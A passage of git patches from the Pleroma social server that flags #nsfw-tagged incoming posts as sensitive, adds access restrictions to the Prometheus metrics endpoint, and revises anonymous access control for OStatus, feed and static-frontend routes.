a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index d7dd9fe6b..39c8f7e39 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -40,6 +40,7 @@ def fix_object(object, options \\ []) do |> fix_in_reply_to(options) |> fix_emoji |> fix_tag + |> set_sensitive |> fix_content_map |> fix_addressing |> fix_summary @@ -313,19 +314,21 @@ def fix_tag(%{"tag" => tag} = object) when is_list(tag) do tags = tag |> Enum.filter(fn data -> data["type"] == "Hashtag" and data["name"] end) - |> Enum.map(fn data -> String.slice(data["name"], 1..-1) end) + |> Enum.map(fn %{"name" => name} -> + name + |> String.slice(1..-1) + |> String.downcase() + end) Map.put(object, "tag", tag ++ tags) end - def fix_tag(%{"tag" => %{"type" => "Hashtag", "name" => hashtag} = tag} = object) do - combined = [tag, String.slice(hashtag, 1..-1)] - - Map.put(object, "tag", combined) + def fix_tag(%{"tag" => %{} = tag} = object) do + object + |> Map.put("tag", [tag]) + |> fix_tag end - def fix_tag(%{"tag" => %{} = tag} = object), do: Map.put(object, "tag", [tag]) - def fix_tag(object), do: object # content map usually only has one language so this will do for now. @@ -927,7 +930,7 @@ def set_conversation(object) do Map.put(object, "conversation", object["context"]) end - def set_sensitive(%{"sensitive" => true} = object) do + def set_sensitive(%{"sensitive" => _} = object) do object end diff --git a/test/fixtures/mastodon-post-activity-nsfw.json b/test/fixtures/mastodon-post-activity-nsfw.json new file mode 100644 index 000000000..70729a1bd --- /dev/null +++ b/test/fixtures/mastodon-post-activity-nsfw.json @@ -0,0 +1,68 @@ +{ + "@context": [ + "https://www.w3.org/ns/activitystreams", + "https://w3id.org/security/v1", + { + "Emoji": "toot:Emoji", + "Hashtag": "as:Hashtag", + "atomUri": "ostatus:atomUri", + "conversation": "ostatus:conversation", + "inReplyToAtomUri": "ostatus:inReplyToAtomUri", + "manuallyApprovesFollowers": "as:manuallyApprovesFollowers", + "movedTo": "as:movedTo", + "ostatus": "http://ostatus.org#", + "toot": "http://joinmastodon.org/ns#" + } + ], + "actor": "http://mastodon.example.org/users/admin", + "cc": [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ], + "id": "http://mastodon.example.org/users/admin/statuses/99512778738411822/activity", + "nickname": "lain", + "object": { + "atomUri": "http://mastodon.example.org/users/admin/statuses/99512778738411822", + "attachment": [], + "attributedTo": "http://mastodon.example.org/users/admin", + "cc": [ + "http://mastodon.example.org/users/admin/followers", + "http://localtesting.pleroma.lol/users/lain" + ], + "content": "<p><span class=\"h-card\"><a href=\"http://localtesting.pleroma.lol/users/lain\" class=\"u-url mention\">@<span>lain</span></a></span> #moo</p>", + "conversation": "tag:mastodon.example.org,2018-02-12:objectId=20:objectType=Conversation", + "id": "http://mastodon.example.org/users/admin/statuses/99512778738411822", + "inReplyTo": null, + "inReplyToAtomUri": null, + "published": "2018-02-12T14:08:20Z", + "summary": "cw", + "tag": [ + { + "href": "http://localtesting.pleroma.lol/users/lain", + "name": "@lain@localtesting.pleroma.lol", + "type": "Mention" + }, + { + "href": "http://mastodon.example.org/tags/nsfw", + "name": "#NSFW", + "type": "Hashtag" + } + ], + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Note", + "url": "http://mastodon.example.org/@admin/99512778738411822" + }, + "published": "2018-02-12T14:08:20Z", + "signature": { + "created": "2018-02-12T14:08:20Z", + "creator": "http://mastodon.example.org/users/admin#main-key", + "signatureValue": "rnNfcopkc6+Ju73P806popcfwrK9wGYHaJVG1/ZvrlEbWVDzaHjkXqj9Q3/xju5l8CSn9tvSgCCtPFqZsFQwn/pFIFUcw7ZWB2xi4bDm3NZ3S4XQ8JRaaX7og5hFxAhWkGhJhAkfxVnOg2hG+w2d/7d7vRVSC1vo5ip4erUaA/PkWusZvPIpxnRWoXaxJsFmVx0gJgjpJkYDyjaXUlp+jmaoseeZ4EPQUWqHLKJ59PRG0mg8j2xAjYH9nQaN14qMRmTGPxY8gfv/CUFcatA+8VJU9KEsJkDAwLVvglydNTLGrxpAJU78a2eaht0foV43XUIZGe3DKiJPgE+UOKGCJw==", + "type": "RsaSignature2017" + }, + "to": [ + "https://www.w3.org/ns/activitystreams#Public" + ], + "type": "Create" +} diff --git a/test/pleroma/web/activity_pub/transmogrifier_test.exs b/test/pleroma/web/activity_pub/transmogrifier_test.exs index 4547c84b7..e39af1dfc 100644 --- a/test/pleroma/web/activity_pub/transmogrifier_test.exs +++ b/test/pleroma/web/activity_pub/transmogrifier_test.exs @@ -206,6 +206,16 @@ test "it works for incoming notices" do assert user.note_count == 1 end + test "it works for incoming notices without the sensitive property but an nsfw hashtag" do + data = File.read!("test/fixtures/mastodon-post-activity-nsfw.json") |> Poison.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object_data = Object.normalize(data["object"], false).data + + assert object_data["sensitive"] == true + end + test "it works for incoming notices with hashtags" do data = File.read!("test/fixtures/mastodon-post-activity-hashtag.json") |> Poison.decode!() -- cgit v1.2.3 From 86b4149a1350b23a122f3ea8e2ef79ab3e8785e1 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Tue, 27 Oct 2020 17:47:56 +0000 Subject: Merge branch '1668-prometheus-access-restrictions' into 'develop' [#1668] App metrics endpoint (Prometheus) access restrictions Closes #1668 See merge request pleroma/pleroma!3093 --- CHANGELOG.md | 26 ++++---- config/config.exs | 7 ++- config/description.exs | 37 ++++++++++++ docs/API/prometheus.md | 26 +++++++- lib/pleroma/helpers/inet_helper.ex | 19 ++++++ lib/pleroma/web/endpoint.ex | 40 +++++++++++-- .../pleroma/web/endpoint/metrics_exporter_test.exs | 69 ++++++++++++++++++++++ 7 files changed, 203 insertions(+), 21 deletions(-) create mode 100644 lib/pleroma/helpers/inet_helper.ex create mode 100644 test/pleroma/web/endpoint/metrics_exporter_test.exs diff --git a/CHANGELOG.md b/CHANGELOG.md index 01038b7ec..ef10a945d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,14 +5,10 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [2.2.0] - 2020-10-?? -### Added -- Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) -- Mix task for sending confirmation emails to all unconfirmed users (`mix pleroma.email send_confirmation_mails`) -- Mix task option for force-unfollowing relays - ### Changed - **Breaking** Requires `libmagic` (or `file`) to guess file types. +- **Breaking:** App metrics endpoint (`/api/pleroma/app_metrics`) is disabled by default, check `docs/API/prometheus.md` on enabling and configuring. - **Breaking:** Pleroma Admin API: emoji packs and files routes changed. - **Breaking:** Sensitive/NSFW statuses no longer disable link previews. - API: Empty parameter values for integer parameters are now ignored in non-strict validaton mode. @@ -24,9 +20,22 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). - Minimum lifetime for ephmeral activities changed to 10 minutes and made configurable (`:min_lifetime` option). - Introduced optional dependencies on `ffmpeg`, `ImageMagick`, `exiftool` software packages. Please refer to `docs/installation/optional/media_graphics_packages.md`. +### Removed + +- **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). +- **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). +- **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). +- Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were +switched to a new configuration mechanism, however it was not officially removed until now. + ### Added - Media preview proxy (requires `ffmpeg` and `ImageMagick` to be installed and media proxy to be enabled; see `:media_preview_proxy` config for more details). - Pleroma API: Importing the mutes users from CSV files. +- Mix tasks for controlling user account confirmation status in bulk (`mix pleroma.user confirm_all` and `mix pleroma.user unconfirm_all`) +- Mix task for sending confirmation emails to all unconfirmed users (`mix pleroma.email send_confirmation_mails`) +- Mix task option for force-unfollowing relays +- App metrics: ability to restrict access to specified IP whitelist. + <details> <summary>API Changes</summary> @@ -37,13 +46,6 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). </details> -### Removed - -- **Breaking:** `Pleroma.Workers.Cron.StatsWorker` setting from Oban `:crontab` (moved to a simpler implementation). -- **Breaking:** `Pleroma.Workers.Cron.ClearOauthTokenWorker` setting from Oban `:crontab` (moved to scheduled jobs). -- **Breaking:** `Pleroma.Workers.Cron.PurgeExpiredActivitiesWorker` setting from Oban `:crontab` (moved to scheduled jobs). -- Removed `:managed_config` option. In practice, it was accidentally removed with 2.0.0 release when frontends were -switched to a new configuration mechanism, however it was not officially removed until now. ### Fixed diff --git a/config/config.exs b/config/config.exs index 170e4e1c7..99c33010f 100644 --- a/config/config.exs +++ b/config/config.exs @@ -637,7 +637,12 @@ config :pleroma, Pleroma.Emails.NewUsersDigestEmail, enabled: false -config :prometheus, Pleroma.Web.Endpoint.MetricsExporter, path: "/api/pleroma/app_metrics" +config :prometheus, Pleroma.Web.Endpoint.MetricsExporter, + enabled: false, + auth: false, + ip_whitelist: [], + path: "/api/pleroma/app_metrics", + format: :text config :pleroma, Pleroma.ScheduledActivity, daily_user_limit: 25, diff --git a/config/description.exs b/config/description.exs index fa843ea8c..71b12326f 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3709,5 +3709,42 @@ suggestions: [2] } ] + }, + %{ + group: :prometheus, + key: Pleroma.Web.Endpoint.MetricsExporter, + type: :group, + description: "Prometheus app metrics endpoint configuration", + children: [ + %{ + key: :enabled, + type: :boolean, + description: "[Pleroma extension] Enables app metrics endpoint." + }, + %{ + key: :ip_whitelist, + type: [{:list, :string}, {:list, :charlist}, {:list, :tuple}], + description: + "[Pleroma extension] If non-empty, restricts access to app metrics endpoint to specified IP addresses." + }, + %{ + key: :auth, + type: [:boolean, :tuple], + description: "Enables HTTP Basic Auth for app metrics endpoint.", + suggestion: [false, {:basic, "myusername", "mypassword"}] + }, + %{ + key: :path, + type: :string, + description: "App metrics endpoint URI path.", + suggestions: ["/api/pleroma/app_metrics"] + }, + %{ + key: :format, + type: :atom, + description: "App metrics endpoint output format.", + suggestions: [:text, :protobuf] + } + ] } ] diff --git a/docs/API/prometheus.md b/docs/API/prometheus.md index 19c564e3c..a5158d905 100644 --- a/docs/API/prometheus.md +++ b/docs/API/prometheus.md @@ -2,15 +2,37 @@ Pleroma includes support for exporting metrics via the [prometheus_ex](https://github.com/deadtrickster/prometheus.ex) library. +Config example: + +``` +config :prometheus, Pleroma.Web.Endpoint.MetricsExporter, + enabled: true, + auth: {:basic, "myusername", "mypassword"}, + ip_whitelist: ["127.0.0.1"], + path: "/api/pleroma/app_metrics", + format: :text +``` + +* `enabled` (Pleroma extension) enables the endpoint +* `ip_whitelist` (Pleroma extension) could be used to restrict access only to specified IPs +* `auth` sets the authentication (`false` for no auth; configurable to HTTP Basic Auth, see [prometheus-plugs](https://github.com/deadtrickster/prometheus-plugs#exporting) documentation) +* `format` sets the output format (`:text` or `:protobuf`) +* `path` sets the path to app metrics page + + ## `/api/pleroma/app_metrics` + ### Exports Prometheus application metrics + * Method: `GET` -* Authentication: not required +* Authentication: not required by default (see configuration options above) * Params: none -* Response: JSON +* Response: text ## Grafana + ### Config example + The following is a config example to use with [Grafana](https://grafana.com) ``` diff --git a/lib/pleroma/helpers/inet_helper.ex b/lib/pleroma/helpers/inet_helper.ex new file mode 100644 index 000000000..126f82381 --- /dev/null +++ b/lib/pleroma/helpers/inet_helper.ex @@ -0,0 +1,19 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Helpers.InetHelper do + def parse_address(ip) when is_tuple(ip) do + {:ok, ip} + end + + def parse_address(ip) when is_binary(ip) do + ip + |> String.to_charlist() + |> parse_address() + end + + def parse_address(ip) do + :inet.parse_address(ip) + end +end diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index d0e01f3d9..f26542e88 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -7,6 +7,8 @@ defmodule Pleroma.Web.Endpoint do require Pleroma.Constants + alias Pleroma.Config + socket("/socket", Pleroma.Web.UserSocket) plug(Plug.Telemetry, event_prefix: [:phoenix, :endpoint]) @@ -88,19 +90,19 @@ defmodule Pleroma.Web.Endpoint do plug(Plug.Parsers, parsers: [ :urlencoded, - {:multipart, length: {Pleroma.Config, :get, [[:instance, :upload_limit]]}}, + {:multipart, length: {Config, :get, [[:instance, :upload_limit]]}}, :json ], pass: ["*/*"], json_decoder: Jason, - length: Pleroma.Config.get([:instance, :upload_limit]), + length: Config.get([:instance, :upload_limit]), body_reader: {Pleroma.Web.Plugs.DigestPlug, :read_body, []} ) plug(Plug.MethodOverride) plug(Plug.Head) - secure_cookies = Pleroma.Config.get([__MODULE__, :secure_cookie_flag]) + secure_cookies = Config.get([__MODULE__, :secure_cookie_flag]) cookie_name = if secure_cookies, @@ -108,7 +110,7 @@ defmodule Pleroma.Web.Endpoint do else: "pleroma_key" extra = - Pleroma.Config.get([__MODULE__, :extra_cookie_attrs]) + Config.get([__MODULE__, :extra_cookie_attrs]) |> Enum.join(";") # The session will be stored in the cookie and signed, @@ -118,7 +120,7 @@ defmodule Pleroma.Web.Endpoint do Plug.Session, store: :cookie, key: cookie_name, - signing_salt: Pleroma.Config.get([__MODULE__, :signing_salt], "CqaoopA2"), + signing_salt: Config.get([__MODULE__, :signing_salt], "CqaoopA2"), http_only: true, secure: secure_cookies, extra: extra @@ -138,8 +140,34 @@ defmodule MetricsExporter do use Prometheus.PlugExporter end + defmodule MetricsExporterCaller do + @behaviour Plug + + def init(opts), do: opts + + def call(conn, opts) do + prometheus_config = Application.get_env(:prometheus, MetricsExporter, []) + ip_whitelist = List.wrap(prometheus_config[:ip_whitelist]) + + cond do + !prometheus_config[:enabled] -> + conn + + ip_whitelist != [] and + !Enum.find(ip_whitelist, fn ip -> + Pleroma.Helpers.InetHelper.parse_address(ip) == {:ok, conn.remote_ip} + end) -> + conn + + true -> + MetricsExporter.call(conn, opts) + end + end + end + plug(PipelineInstrumenter) - plug(MetricsExporter) + + plug(MetricsExporterCaller) plug(Pleroma.Web.Router) diff --git a/test/pleroma/web/endpoint/metrics_exporter_test.exs b/test/pleroma/web/endpoint/metrics_exporter_test.exs new file mode 100644 index 000000000..f954cc1e7 --- /dev/null +++ b/test/pleroma/web/endpoint/metrics_exporter_test.exs @@ -0,0 +1,69 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Endpoint.MetricsExporterTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Web.Endpoint.MetricsExporter + + defp config do + Application.get_env(:prometheus, MetricsExporter) + end + + describe "with default config" do + test "does NOT expose app metrics", %{conn: conn} do + conn + |> get(config()[:path]) + |> json_response(404) + end + end + + describe "when enabled" do + setup do + initial_config = config() + on_exit(fn -> Application.put_env(:prometheus, MetricsExporter, initial_config) end) + + Application.put_env( + :prometheus, + MetricsExporter, + Keyword.put(initial_config, :enabled, true) + ) + end + + test "serves app metrics", %{conn: conn} do + conn = get(conn, config()[:path]) + assert response = response(conn, 200) + + for metric <- [ + "http_requests_total", + "http_request_duration_microseconds", + "phoenix_controller_render_duration", + "phoenix_controller_call_duration", + "telemetry_scrape_duration", + "erlang_vm_memory_atom_bytes_total" + ] do + assert response =~ ~r/#{metric}/ + end + end + + test "when IP whitelist configured, " <> + "serves app metrics only if client IP is whitelisted", + %{conn: conn} do + Application.put_env( + :prometheus, + MetricsExporter, + Keyword.put(config(), :ip_whitelist, ["127.127.127.127", {1, 1, 1, 1}, '255.255.255.255']) + ) + + conn + |> get(config()[:path]) + |> json_response(404) + + conn + |> Map.put(:remote_ip, {127, 127, 127, 127}) + |> get(config()[:path]) + |> response(200) + end + end +end -- cgit v1.2.3 From 48f7e12e6c139e9cfc8e68b4eaf1695019c9d246 Mon Sep 17 00:00:00 2001 From: feld <feld@feld.me> Date: Wed, 28 Oct 2020 18:08:51 +0000 Subject: Merge branch 'ostatus-controller-no-auth-check-on-non-federating-instances' into 'develop' OStatus / Static FE access control fixes See merge request pleroma/pleroma!3053 --- CHANGELOG.md | 1 + lib/pleroma/web/activity_pub/visibility.ex | 39 +++-- lib/pleroma/web/feed/tag_controller.ex | 17 +- lib/pleroma/web/feed/user_controller.ex | 27 ++-- lib/pleroma/web/o_status/o_status_controller.ex | 17 +- lib/pleroma/web/router.ex | 57 +++++-- lib/pleroma/web/static_fe/static_fe_controller.ex | 177 ++++++++++----------- .../activity_pub/activity_pub_controller_test.exs | 48 ------ test/pleroma/web/feed/tag_controller_test.exs | 13 +- test/pleroma/web/feed/user_controller_test.exs | 12 +- .../web/o_status/o_status_controller_test.exs | 24 +-- .../web/static_fe/static_fe_controller_test.exs | 47 +++++- test/support/conn_case.ex | 22 --- 13 files changed, 258 insertions(+), 243 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index ef10a945d..dd500bdd8 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -52,6 +52,7 @@ switched to a new configuration mechanism, however it was not officially removed - Add documented-but-missing chat pagination. - Allow sending out emails again. - Allow sending chat messages to yourself +- OStatus / static FE endpoints: fixed inaccessibility for anonymous users on non-federating instances, switched to handling per `:restrict_unauthenticated` setting. ### Upgrade notes diff --git a/lib/pleroma/web/activity_pub/visibility.ex b/lib/pleroma/web/activity_pub/visibility.ex index 5c349bb7a..76bd54a42 100644 --- a/lib/pleroma/web/activity_pub/visibility.ex +++ b/lib/pleroma/web/activity_pub/visibility.ex @@ -44,29 +44,30 @@ def is_direct?(activity) do def is_list?(%{data: %{"listMessage" => _}}), do: true def is_list?(_), do: false - @spec visible_for_user?(Activity.t(), User.t() | nil) :: boolean() - def visible_for_user?(%{actor: ap_id}, %User{ap_id: ap_id}), do: true + @spec visible_for_user?(Activity.t() | nil, User.t() | nil) :: boolean() + def visible_for_user?(%Activity{actor: ap_id}, %User{ap_id: ap_id}), do: true def visible_for_user?(nil, _), do: false - def visible_for_user?(%{data: %{"listMessage" => _}}, nil), do: false + def visible_for_user?(%Activity{data: %{"listMessage" => _}}, nil), do: false - def visible_for_user?(%{data: %{"listMessage" => list_ap_id}} = activity, %User{} = user) do + def visible_for_user?( + %Activity{data: %{"listMessage" => list_ap_id}} = activity, + %User{} = user + ) do user.ap_id in activity.data["to"] || list_ap_id |> Pleroma.List.get_by_ap_id() |> Pleroma.List.member?(user) end - def visible_for_user?(%{local: local} = activity, nil) do - cfg_key = if local, do: :local, else: :remote - - if Pleroma.Config.restrict_unauthenticated_access?(:activities, cfg_key), + def visible_for_user?(%Activity{} = activity, nil) do + if restrict_unauthenticated_access?(activity), do: false, else: is_public?(activity) end - def visible_for_user?(activity, user) do + def visible_for_user?(%Activity{} = activity, user) do x = [user.ap_id | User.following(user)] y = [activity.actor] ++ activity.data["to"] ++ (activity.data["cc"] || []) is_public?(activity) || Enum.any?(x, &(&1 in y)) @@ -82,6 +83,26 @@ def entire_thread_visible_for_user?(%Activity{} = activity, %User{} = user) do result end + def restrict_unauthenticated_access?(%Activity{local: local}) do + restrict_unauthenticated_access_to_activity?(local) + end + + def restrict_unauthenticated_access?(%Object{} = object) do + object + |> Object.local?() + |> restrict_unauthenticated_access_to_activity?() + end + + def restrict_unauthenticated_access?(%User{} = user) do + User.visible_for(user, _reading_user = nil) + end + + defp restrict_unauthenticated_access_to_activity?(local?) when is_boolean(local?) do + cfg_key = if local?, do: :local, else: :remote + + Pleroma.Config.restrict_unauthenticated_access?(:activities, cfg_key) + end + def get_visibility(object) do to = object.data["to"] || [] cc = object.data["cc"] || [] diff --git a/lib/pleroma/web/feed/tag_controller.ex b/lib/pleroma/web/feed/tag_controller.ex index 93a8294b7..218cdbdf3 100644 --- a/lib/pleroma/web/feed/tag_controller.ex +++ b/lib/pleroma/web/feed/tag_controller.ex @@ -10,14 +10,14 @@ defmodule Pleroma.Web.Feed.TagController do alias Pleroma.Web.Feed.FeedView def feed(conn, params) do - unless Pleroma.Config.restrict_unauthenticated_access?(:activities, :local) do + if Config.get!([:instance, :public]) do render_feed(conn, params) else render_error(conn, :not_found, "Not found") end end - def render_feed(conn, %{"tag" => raw_tag} = params) do + defp render_feed(conn, %{"tag" => raw_tag} = params) do {format, tag} = parse_tag(raw_tag) activities = @@ -36,12 +36,13 @@ def render_feed(conn, %{"tag" => raw_tag} = params) do end @spec parse_tag(binary() | any()) :: {format :: String.t(), tag :: String.t()} - defp parse_tag(raw_tag) when is_binary(raw_tag) do - case Enum.reverse(String.split(raw_tag, ".")) do - [format | tag] when format in ["atom", "rss"] -> {format, Enum.join(tag, ".")} - _ -> {"rss", raw_tag} + defp parse_tag(raw_tag) do + case is_binary(raw_tag) && Enum.reverse(String.split(raw_tag, ".")) do + [format | tag] when format in ["rss", "atom"] -> + {format, Enum.join(tag, ".")} + + _ -> + {"atom", raw_tag} end end - - defp parse_tag(raw_tag), do: {"rss", raw_tag} end diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index 752983c3b..a5013d2c0 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -5,6 +5,7 @@ defmodule Pleroma.Web.Feed.UserController do use Pleroma.Web, :controller + alias Pleroma.Config alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.ActivityPubController @@ -22,12 +23,7 @@ def feed_redirect(%{assigns: %{format: "html"}} = conn, %{"nickname" => nickname def feed_redirect(%{assigns: %{format: format}} = conn, _params) when format in ["json", "activity+json"] do - with %{halted: false} = conn <- - Pleroma.Web.Plugs.EnsureAuthenticatedPlug.call(conn, - unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 - ) do - ActivityPubController.call(conn, :user) - end + ActivityPubController.call(conn, :user) end def feed_redirect(conn, %{"nickname" => nickname}) do @@ -36,25 +32,18 @@ def feed_redirect(conn, %{"nickname" => nickname}) do end end - def feed(conn, params) do - unless Pleroma.Config.restrict_unauthenticated_access?(:profiles, :local) do - render_feed(conn, params) - else - errors(conn, {:error, :not_found}) - end - end - - def render_feed(conn, %{"nickname" => nickname} = params) do + def feed(conn, %{"nickname" => nickname} = params) do format = get_format(conn) format = - if format in ["rss", "atom"] do + if format in ["atom", "rss"] do format else "atom" end - with {_, %User{local: true} = user} <- {:fetch_user, User.get_cached_by_nickname(nickname)} do + with {_, %User{local: true} = user} <- {:fetch_user, User.get_cached_by_nickname(nickname)}, + {_, :visible} <- {:visibility, User.visible_for(user, _reading_user = nil)} do activities = %{ type: ["Create"], @@ -69,7 +58,7 @@ def render_feed(conn, %{"nickname" => nickname} = params) do |> render("user.#{format}", user: user, activities: activities, - feed_config: Pleroma.Config.get([:feed]) + feed_config: Config.get([:feed]) ) end end @@ -81,6 +70,8 @@ def errors(conn, {:error, :not_found}) do def errors(conn, {:fetch_user, %User{local: false}}), do: errors(conn, {:error, :not_found}) def errors(conn, {:fetch_user, nil}), do: errors(conn, {:error, :not_found}) + def errors(conn, {:visibility, _}), do: errors(conn, {:error, :not_found}) + def errors(conn, _) do render_error(conn, :internal_server_error, "Something went wrong") end diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index b044260b3..668ae0ea4 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -16,10 +16,6 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Web.Router - plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug, - unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 - ) - plug( RateLimiter, [name: :ap_routes, params: ["uuid"]] when action in [:object, :activity] @@ -37,14 +33,12 @@ def object(%{assigns: %{format: format}} = conn, _params) ActivityPubController.call(conn, :object) end - def object(%{assigns: %{format: format}} = conn, _params) do + def object(conn, _params) do with id <- Endpoint.url() <> conn.request_path, {_, %Activity{} = activity} <- {:activity, Activity.get_create_by_object_ap_id_with_object(id)}, {_, true} <- {:public?, Visibility.is_public?(activity)} do - case format do - _ -> redirect(conn, to: "/notice/#{activity.id}") - end + redirect(conn, to: "/notice/#{activity.id}") else reason when reason in [{:public?, false}, {:activity, nil}] -> {:error, :not_found} @@ -59,13 +53,11 @@ def activity(%{assigns: %{format: format}} = conn, _params) ActivityPubController.call(conn, :activity) end - def activity(%{assigns: %{format: format}} = conn, _params) do + def activity(conn, _params) do with id <- Endpoint.url() <> conn.request_path, {_, %Activity{} = activity} <- {:activity, Activity.normalize(id)}, {_, true} <- {:public?, Visibility.is_public?(activity)} do - case format do - _ -> redirect(conn, to: "/notice/#{activity.id}") - end + redirect(conn, to: "/notice/#{activity.id}") else reason when reason in [{:public?, false}, {:activity, nil}] -> {:error, :not_found} @@ -119,6 +111,7 @@ def notice(%{assigns: %{format: format}} = conn, %{"id" => id}) do def notice_player(conn, %{"id" => id}) do with %Activity{data: %{"type" => "Create"}} = activity <- Activity.get_by_id_with_object(id), true <- Visibility.is_public?(activity), + {_, true} <- {:visible?, Visibility.visible_for_user?(activity, _reading_user = nil)}, %Object{} = object <- Object.normalize(activity), %{data: %{"attachment" => [%{"url" => [url | _]} | _]}} <- object, true <- String.starts_with?(url["mediaType"], ["audio", "video"]) do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index d2d939989..07a574f35 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -5,6 +5,26 @@ defmodule Pleroma.Web.Router do use Pleroma.Web, :router + pipeline :accepts_html do + plug(:accepts, ["html"]) + end + + pipeline :accepts_html_xml do + plug(:accepts, ["html", "xml", "rss", "atom"]) + end + + pipeline :accepts_html_json do + plug(:accepts, ["html", "activity+json", "json"]) + end + + pipeline :accepts_html_xml_json do + plug(:accepts, ["html", "xml", "rss", "atom", "activity+json", "json"]) + end + + pipeline :accepts_xml_rss_atom do + plug(:accepts, ["xml", "rss", "atom"]) + end + pipeline :browser do plug(:accepts, ["html"]) plug(:fetch_session) @@ -566,30 +586,43 @@ defmodule Pleroma.Web.Router do ) end - pipeline :ostatus do - plug(:accepts, ["html", "xml", "rss", "atom", "activity+json", "json"]) - plug(Pleroma.Web.Plugs.StaticFEPlug) - end - - pipeline :oembed do - plug(:accepts, ["json", "xml"]) - end - scope "/", Pleroma.Web do - pipe_through([:ostatus, :http_signature]) + # Note: html format is supported only if static FE is enabled + # Note: http signature is only considered for json requests (no auth for non-json requests) + pipe_through([:accepts_html_json, :http_signature, Pleroma.Web.Plugs.StaticFEPlug]) get("/objects/:uuid", OStatus.OStatusController, :object) get("/activities/:uuid", OStatus.OStatusController, :activity) get("/notice/:id", OStatus.OStatusController, :notice) - get("/notice/:id/embed_player", OStatus.OStatusController, :notice_player) # Mastodon compatibility routes get("/users/:nickname/statuses/:id", OStatus.OStatusController, :object) get("/users/:nickname/statuses/:id/activity", OStatus.OStatusController, :activity) + end - get("/users/:nickname/feed", Feed.UserController, :feed, as: :user_feed) + scope "/", Pleroma.Web do + # Note: html format is supported only if static FE is enabled + # Note: http signature is only considered for json requests (no auth for non-json requests) + pipe_through([:accepts_html_xml_json, :http_signature, Pleroma.Web.Plugs.StaticFEPlug]) + + # Note: returns user _profile_ for json requests, redirects to user _feed_ for non-json ones get("/users/:nickname", Feed.UserController, :feed_redirect, as: :user_feed) + end + + scope "/", Pleroma.Web do + # Note: html format is supported only if static FE is enabled + pipe_through([:accepts_html_xml, Pleroma.Web.Plugs.StaticFEPlug]) + get("/users/:nickname/feed", Feed.UserController, :feed, as: :user_feed) + end + + scope "/", Pleroma.Web do + pipe_through(:accepts_html) + get("/notice/:id/embed_player", OStatus.OStatusController, :notice_player) + end + + scope "/", Pleroma.Web do + pipe_through(:accepts_xml_rss_atom) get("/tags/:tag", Feed.TagController, :feed, as: :tag_feed) end diff --git a/lib/pleroma/web/static_fe/static_fe_controller.ex b/lib/pleroma/web/static_fe/static_fe_controller.ex index 687b17df6..bdec0897a 100644 --- a/lib/pleroma/web/static_fe/static_fe_controller.ex +++ b/lib/pleroma/web/static_fe/static_fe_controller.ex @@ -17,74 +17,14 @@ defmodule Pleroma.Web.StaticFE.StaticFEController do plug(:put_view, Pleroma.Web.StaticFE.StaticFEView) plug(:assign_id) - plug(Pleroma.Web.Plugs.EnsureAuthenticatedPlug, - unless_func: &Pleroma.Web.Plugs.FederatingPlug.federating?/1 - ) - @page_keys ["max_id", "min_id", "limit", "since_id", "order"] - defp get_title(%Object{data: %{"name" => name}}) when is_binary(name), - do: name - - defp get_title(%Object{data: %{"summary" => summary}}) when is_binary(summary), - do: summary - - defp get_title(_), do: nil - - defp not_found(conn, message) do - conn - |> put_status(404) - |> render("error.html", %{message: message, meta: ""}) - end - - defp get_counts(%Activity{} = activity) do - %Object{data: data} = Object.normalize(activity) - - %{ - likes: data["like_count"] || 0, - replies: data["repliesCount"] || 0, - announces: data["announcement_count"] || 0 - } - end - - defp represent(%Activity{} = activity), do: represent(activity, false) - - defp represent(%Activity{object: %Object{data: data}} = activity, selected) do - {:ok, user} = User.get_or_fetch(activity.object.data["actor"]) - - link = - case user.local do - true -> Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, activity) - 